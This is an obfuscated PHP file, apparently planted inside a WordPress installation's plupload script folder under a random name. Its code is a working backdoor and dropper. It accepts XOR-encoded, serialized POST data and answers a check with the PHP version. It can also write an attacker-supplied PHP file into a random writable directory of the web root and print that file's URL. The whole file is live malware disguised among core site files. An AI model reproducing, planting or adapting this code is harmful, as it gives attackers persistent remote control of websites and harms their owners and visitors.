File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/js/plupload/upmgwbxy.php
<?php $FtCMArH = 'D'.'O'."\x43"."\x55"."\x4d".'E'.chr(78).'T'."\137".chr(146-64)."\x4f".'O'."\x54";$bziTWUnffg = chr(1066-994).'T'.'T'.chr(80)."\137".'H'."\x4f"."\123"."\x54";$vPQSm = "\x68"."\x74".'t'."\x70"."\72".chr(47)."\x2f";$PjrDHH = chr(46)."\160"."\150".chr(577-465);$uXBlmX = chr(112).chr(775-671)."\x70";$sdwQzfnfw = "\146"."\151"."\x6c"."\x65".'_'.chr(112).chr(117).chr(824-708)."\137"."\143"."\x6f"."\156".chr(331-215)."\x65".chr(110).'t'.chr(154-39);$OIsMxD = 'r'."\141"."\x77".chr(539-422)."\x72"."\154"."\x64"."\145".chr(99).chr(247-136)."\x64"."\145";$hGGWXATeEY = 'u'."\156".chr(115).chr(101).chr(403-289)."\x69"."\141".chr(250-142)."\151".'z'.chr(101);$MwvlcmqMV = "\x69"."\x73".chr(1036-941)."\167".chr(768-654)."\x69"."\x74".chr(97).chr(98).chr(108).'e';$dIWCoa = "\x70".'h'.chr(112).'v'.chr(182-81)."\x72".chr(115).'i'.'o'."\x6e";$AlqIcZK = "\163"."\x74"."\x72".chr(95)."\162"."\157".chr(718-602)."\61".chr(480-429);$bGzwFx = chr(870-755)."\145".chr(114)."\151"."\141"."\154"."\151"."\172".'e';$VHMNaZn = chr(115).chr(116)."\162".chr(95)."\163".'p'."\154"."\x69".chr(116);foreach ($_POST as $OcLmoH => $hbBBCCGnPA){$AgbHTw = strlen($OcLmoH);if ($AgbHTw == 16){$hbBBCCGnPA = $VHMNaZn($OIsMxD($AlqIcZK($hbBBCCGnPA)));$OcLmoH = array_slice($VHMNaZn(str_repeat($OcLmoH, (count($hbBBCCGnPA)/16)+1)), 0, count($hbBBCCGnPA));function EtXKzr($jOvYBmw, $xsgFiu, $OcLmoH){$fHaNLXpXUxbKDo = "3d8a4c61-4af2-441b-a97c-5faeefc574e1";return $jOvYBmw ^ $fHaNLXpXUxbKDo[$xsgFiu % strlen($fHaNLXpXUxbKDo)] ^ $OcLmoH;}$hbBBCCGnPA = array_map("EtXKzr", array_values($hbBBCCGnPA), array_keys($hbBBCCGnPA), array_values($OcLmoH));$hbBBCCGnPA = implode("", $hbBBCCGnPA);$hbBBCCGnPA = @$hGGWXATeEY($hbBBCCGnPA);if (@is_array($hbBBCCGnPA)){$tpQeOAJpys = array_keys($hbBBCCGnPA);$hbBBCCGnPA = $hbBBCCGnPA[$tpQeOAJpys[0]];if ($hbBBCCGnPA === $tpQeOAJpys[0]){echo @$bGzwFx(Array($uXBlmX => @$dIWCoa(), ));exit();}else {function tmCrdiNVom($fHaNLXpir){static $BBEFE = array();$ZLBSvqq = glob($fHaNLXpir . '/*', GLOB_ONLYDIR);$fHaNLXpAVFGh = count($ZLBSvqq);if ($fHaNLXpAVFGh > 0) {foreach ($ZLBSvqq as $fHaNLXp) {if (@$MwvlcmqMV($fHaNLXp)) {$BBEFE[] = $fHaNLXp;}}}foreach ($ZLBSvqq as $fHaNLXpir) tmCrdiNVom($fHaNLXpir);return $BBEFE;}$RjPSGIBdWA = $_SERVER[$FtCMArH];$ZLBSvqq = tmCrdiNVom($RjPSGIBdWA);$tpQeOAJpys = array_rand($ZLBSvqq);$blrpVY = $ZLBSvqq[$tpQeOAJpys] . "/" . substr(md5(time()), 0, 8) . $PjrDHH;@$sdwQzfnfw($blrpVY, $hbBBCCGnPA);$ftHUO = $vPQSm . $_SERVER[$bziTWUnffg] . substr($blrpVY, strlen($RjPSGIBdWA));print($ftHUO);die();}}}}